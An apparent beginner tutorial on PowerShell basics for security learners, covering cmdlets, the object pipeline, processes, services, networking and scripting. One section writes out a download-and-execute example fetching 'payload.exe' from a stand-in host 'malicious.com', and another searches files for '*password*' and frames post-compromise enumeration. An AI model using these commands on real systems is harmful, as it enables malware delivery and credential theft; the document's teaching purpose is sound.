PowerShell Fundamentals for Hackers โ From Basics to Real-World Usage
PowerShell is NOT just a command line.
It is a full scripting and automation engine used heavily in:
- System administration
- Enterprise environments
- Cybersecurity (both attackers and defenders)
If Linux is dominant in servers,
PowerShell dominates Windows environments.
๐ง WHAT MAKES POWERSHELL DIFFERENT
Linux โ text-based output
PowerShell โ object-based output
This is the biggest difference.
Commands return OBJECTS, not plain text.
That means:
You can filter, modify, and manipulate data easily.
โ๏ธ BASIC COMMAND STRUCTURE
PowerShell uses:
Verb-Noun format
Examples:
Get-Process
Get-Service
Get-ChildItem๐ง COMMON VERBS
- Get โ retrieve
- Set โ modify
- Start โ run
- Stop โ stop
- New โ create
- Remove โ delete
๐ NAVIGATION & FILE SYSTEM
Current directory:
pwdList files:
Get-ChildItem
lsChange directory:
cd C:\Users๐ CREATE / DELETE FILES
New-Item file.txt
Remove-Item file.txt๐ VIEW CONTENT
Get-Content file.txt๐ฆ PIPELINE (VERY POWERFUL)
PowerShell pipeline passes OBJECTS:
command1 | command2Example:
Get-Process | Where-Object {$_.CPU -gt 100}๐ง WHAT IS $_ ?
Represents current object in pipeline.
๐ FILTERING & SEARCHING
Filter processes:
Get-Process | Where-Object {$_.ProcessName -like "*chrome*"}Search files:
Get-ChildItem -Recurse | Where-Object {$_.Name -like "*password*"}๐ PROCESS MANAGEMENT
List processes:
Get-ProcessStop process:
Stop-Process -Name chrome
Stop-Process -Id 1234๐ง REAL USE CASE
- Kill malicious processes
- Monitor suspicious activity
๐ฆ SERVICES
List services:
Get-ServiceStart service:
Start-Service sshdStop service:
Stop-Service sshd๐ค USERS & SYSTEM INFO
Current user:
whoamiSystem info:
Get-ComputerInfoEnvironment variables:
Get-ChildItem Env:๐ NETWORKING
Check connections:
Get-NetTCPConnectionTest connection:
Test-Connection google.comCheck IP:
ipconfig๐งช SCRIPTING BASICS
Create script:
script.ps1Example:
Write-Output "Hello CyberTrick"Run script:
.\script.ps1๐จ EXECUTION POLICY
PowerShell blocks scripts by default.
Allow scripts:
Set-ExecutionPolicy RemoteSignedโก USEFUL COMMANDS (REAL WORLD)
Download file:
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "file.exe"Execute command remotely:
Invoke-CommandRun external program:
Start-Process notepad.exe๐ง AUTOMATION
Loop example:
for ($i=0; $i -lt 5; $i++) {
Write-Output $i
}๐งช CYBERSECURITY USE CASES
PowerShell is heavily used for:
- Post-exploitation
- Lateral movement
- Persistence
- Automation of attacks
๐ฅ EXAMPLE (DOWNLOAD & EXECUTE)
Invoke-WebRequest -Uri "http://malicious.com/payload.exe" -OutFile "payload.exe"
Start-Process payload.exe๐จ DEFENSIVE SIDE (VERY IMPORTANT)
PowerShell is also used for:
- Incident response
- Log analysis
- Threat detection
๐ LOGGING & MONITORING
PowerShell logs activity.
Important for detecting attacks.
๐ง ENUMERATION MINDSET (WINDOWS)
When inside a system:
whoami
Get-Process
Get-Service
Get-ChildItem
Get-NetTCPConnectionAsk yourself:
- What can I access?
- What is running?
- What can I abuse?
๐จ COMMON BEGINNER MISTAKES
- Treating PowerShell like CMD
- Ignoring object-based pipeline
- Running scripts without understanding
- Disabling security blindly
๐ฅ FINAL MESSAGE
PowerShell is one of the most powerful tools in Windows.
If you master it:
๐ You control the system.